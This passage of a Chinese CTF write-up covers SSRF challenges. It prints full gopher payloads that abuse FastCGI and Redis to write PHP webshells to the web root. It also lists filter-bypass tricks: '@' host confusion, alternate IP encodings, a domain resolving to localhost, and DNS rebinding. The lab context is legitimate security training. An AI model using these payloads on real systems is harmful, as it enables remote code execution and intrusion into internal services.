    gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH134%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%86%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
    

    image-20250610211809423

  2. 然后进行二次编码后将最终的payload内容放到?url=后面发送过去(这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码):

    • 注意这里编码的时候把**(gopher://127.0.0.1:9000/)进行了1次URL编码 而payload部分(_之后的内容)进行了2次URL编码 **
    gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2506%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2518SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%2520%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2Fshell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
    
    • 这里为什么只对gopher%3A//127.0.0.1%3A9000/_的:进行编码 //he和_不用
      • URL的保留字符分为两类:
        • 协议分隔符:如 :/? 等,用于划分协议、主机、路径等结构。
        • 数据字符:如字母、数字、下划线(_),通常无需编码
      • gopher://127.0.0.1:9000/_ 中:
        • 冒号(:)是关键分隔符:
          • 第一个 : 分隔协议标识符(gopher)与路径(//...),必须编码为 %3A,否则会被解析为无效协议。
          • 第二个 : 分隔主机与端口(127.0.0.1:9000),同样需编码为 %3A,避免与路径混淆。
        • 双斜杠(//)是协议约定符号:
          • gopher: 后,// 表示后续为主机地址,是协议标准格式(如HTTP的 http://)。
          • 因其本身是协议结构的一部分,无需编码,否则会破坏协议识别。
        • 下划线(_)是安全字符:
          • 属于RFC 3986定义的“未保留字符”(Unreserved Characters),可直接使用。
          • 在Gopher协议中,_Payload起始标志,标识后续为TCP数据流,编码会导致协议解析失败。
  3. 使用蚁剑访问我们上传的http://challenge-c07f76842e31ded4.sandbox.ctfhub.com:10800/shell.php 在根目录拿到flag

    image-20250610215948591

    image-20250610215927966

redis

  1. 这关跟上关差不多利用gopherus工具生成redis的payloa 当操作完成后,你可以在目标服务器的 /shell.php 路径访问一个 PHP WebShell,并通过 cmd 参数传递命令

    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
    
  2. 这里也是将这里编码的时候把**(gopher://127.0.0.1:6379/)进行了1次URL编码 而payload部分(_之后的内容)进行了2次URL编码

    gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
    

    image-20250611105137230

    image-20250611105150607
  3. 将payload在url后面进行拼接 然后访问 这里可能会出现504 没关系我们的文件已经写进去了

    image-20250611110013364

    image-20250611105959475

    image-20250611124649040

  4. 访问shell.php文件使用命令执行拿到flag

    image-20250611124630036

URL Bypass

  1. 利用解析URL所出现的问题 在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤

    http://www.baidu.com@192.168.0.1
    
  2. 当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容为192.168.0.1上的内容

  3. 求的URL中必须包含http://notfound.ctfhub.com 利用这里来构造url 拿到flag

    ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
    

    image-20250611112107210

数字IP Bypass

  1. 看到这里对127.0.0进行了过滤

  2. 这里采用进制转换的方式绕过 url=http://2130706433/flag.php

    八进制
    url=http://0177.0.0.1/flag.php

    10 进制全部转换
    url=http://2130706433/flag.php

    十六进制(需要添加上0x)
    0x的目的是为了表示后面的数是十六进制,在编程里面一般都要加入,用来区别十进制数
    url=http://0x7F.0.0.1/flag.php

    还有一种特殊的省略模式
    127.0.0.1写成127.1

    用CIDR绕过localhost
    url=http://127.127.127.127/flag.php

    还有很多方式
    url=http://0/flag.php
    url=http://0.0.0.0/flag.php

image-20250611115054434

302跳转 Bypass

  1. 这里我没有服务器 所以这里我使用http://sudo.cc构造url绕过检测 ?url=http://sudo.cc/flag.php

[http://sudo.cc](http://sudo.cc) 是一个专门用于演示或测试 SSRF(服务端请求伪造)漏洞的公共服务,其核心设计是: 将该域名的 DNS 解析直接指向 127.0.0.1(即本地回环地址)

image-20250611120213884

DNS重绑定 Bypass

什么是DNS Rebinding

简单来说就是:在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为

  1. 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  2. 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  3. 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  4. 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

可以参考这个文章:浅谈DNS重绑定漏洞

  1. 这里我们使用网站[rebinder可以使用这个测试DNS重绑定漏洞的在线工具。在这个页面中输入两个你想切换的IP地址。在很短的ttl内,这个生成的主机名会随机解析成两个IP中的一个

  2. 构造我们的url进行发送请求拿到flag

    ?url=7f000001.7f000002.rbndr.us/flag.php

    image-20250611124132261

    image-20250611121727131

http://www.sczhlp.com/news/6566/

相关文章:

  • Redisson分布式锁的用法
  • Postman接口测试工具详解
  • 新手的第一次DC-5靶场渗透实战过程
  • 新手的第一次DC-4靶场渗透实战过程
  • 5G非正交多址技术SCMA仿真
  • 新手的第一次DC-3靶场渗透实战过程
  • 新手的第一次DC-6靶场渗透实战过程
  • 我发闪存频率不高,但是被和谐的频率太高了~
  • 《算法导论》笔记--归并排序 算法原理 - Ghost
  • DeepSeek70B硬件要求详解
  • 2025 Gitee vs. GitLab:全面对比与选择指南
  • 阿里云DMS Data Copilot——高效智能的数据助手,助力企业实现数据驱动的未来
  • 蓝桥杯大赛经验
  • 速看!最新学历厂名单曝光!
  • 拆解Agent如何实现“听懂→规划→搞定”全流程
  • 圆上动点问题
  • DotNetBar for Windows Forms中的button属性ButtonStyle
  • 莫队+值域分块
  • MyBatis实现动态SQL
  • Web Filter URL pattern总结
  • Solidity开发ERC20智能合约demo及部署到测试网
  • Android 16KB页面对齐介绍
  • MATLAB实现的Elman神经网络用于电力负载预测
  • AS AI 使用文档
  • Java中this()与super()的区别解析
  • 深入理解SpringMVC DispatcherServlet源码及全流程原理
  • react练习之react-router-dom
  • TortoiseSVN could not add *.xxx to the ignore list 不能添加到忽略列表
  • 一文搞定Keil uVision5 C51 V9.61安装激活+汉化全过程!
  • 基于Python与ResNet-CTC变长验证码识别系统设计